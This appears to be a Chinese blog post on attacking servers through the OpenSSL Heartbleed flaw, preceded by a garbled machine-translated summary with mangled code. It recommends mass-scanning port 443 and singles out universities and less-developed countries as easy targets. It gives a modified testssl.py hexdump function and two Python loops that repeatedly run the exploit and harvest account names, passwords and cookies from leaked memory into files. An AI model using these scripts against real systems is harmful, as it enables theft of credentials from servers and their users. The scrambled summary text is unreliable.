摘要：
OpenSSL Heartbleach漏洞的开放性和流行性让许多人感到兴奋，其他人感到恐慌。大学和互联网不发达的国家相对容易受到攻击。对于特定的攻击目标，您可以查看已阅读的内容，并使用正则表达式不断获取帐户密码。将testssl.py的代码更改为不输出偏移地址和非ascii字符，找到hexdump函数，并将其修改为：defhexdump:update='forbinxrange:lin=[cforcins[b:b+16]]update+=''。coinprint“%s”打印，因此只输出有用的ascii字符串。）“'，result）formatchinmatches:ifmatchnotinaccounts:accounts.appendwithopenasinFile:inFile.writeprint'NewAccount:'，matchtime.sleep（1.0）脚本每秒读取一次数据，并找到常规匹配的帐户密码。如果之前没有出现，请将其写入accounts.txt文件。
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把，也让另一些人惊慌了一把。
单纯从攻击的角度讲，我已知道的，网上公开的扫描工具有：
1. Nmap脚本ssl-heartbleed.nse： http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
nmap -sV --script=ssl-heartbleed <target>
nmap -sV --script=ssl-heartbleed <target>
2. Jared Stafford的testssl.py： https://gist.github.com/sh1n0b1/10100394
3. CSHeartbleedScanner： http://www.crowdstrike.com/community-tools/
若想要批量寻找攻击目标，可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。
得到活跃主机IP地址，再导入上述扫描器。
针对特定的某个攻击目标，可以查看已经读到的内容，利用正则表达式不停拉抓账号密码。
也可以根据关键词，不停抓下cookie，账号等。
将testssl.py的代码修改为不输出偏移地址和非ascii字符，找到hexdump函数，修改为：
def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),) print
这样就只输出有用的ascii字符串了。
1. 正则表达式抓账号
import os import re import time accounts = [] while True: result = os.popen('openssl.py ').read() matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result) for match in matches: if match not in accounts: accounts.append(match) with open('accounts.txt', 'a') as inFile: inFile.write(str(match) + ' ') print 'New Account:', match time.sleep(1.0)
脚本间隔一秒钟读一次数据，发现正则匹配的账号密码，若之前没出现过，就写入accounts.txt文件。
这样可以避免重复写入同样的账号、密码。
2. 根据关键词抓数据
如果并不确定后台地址，也不知道登录请求、Cookie的格式，直接用关键词抓账号就行了。
类似下面的代码：
import os import re import time accounts = [] while True: result = os.popen('openssl.py ').read() keywords = ['system', 'password', 'passwd', 'admin'] for word in keywords: if result.find(word) > 0: print 'new data', time.asctime() with open('data_1\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f: f.write(result) break time.sleep(1.0)
这样一旦返回的数据中存在关键词passwd、password等，就会把数据写入data_1文件夹下面，以时间命名。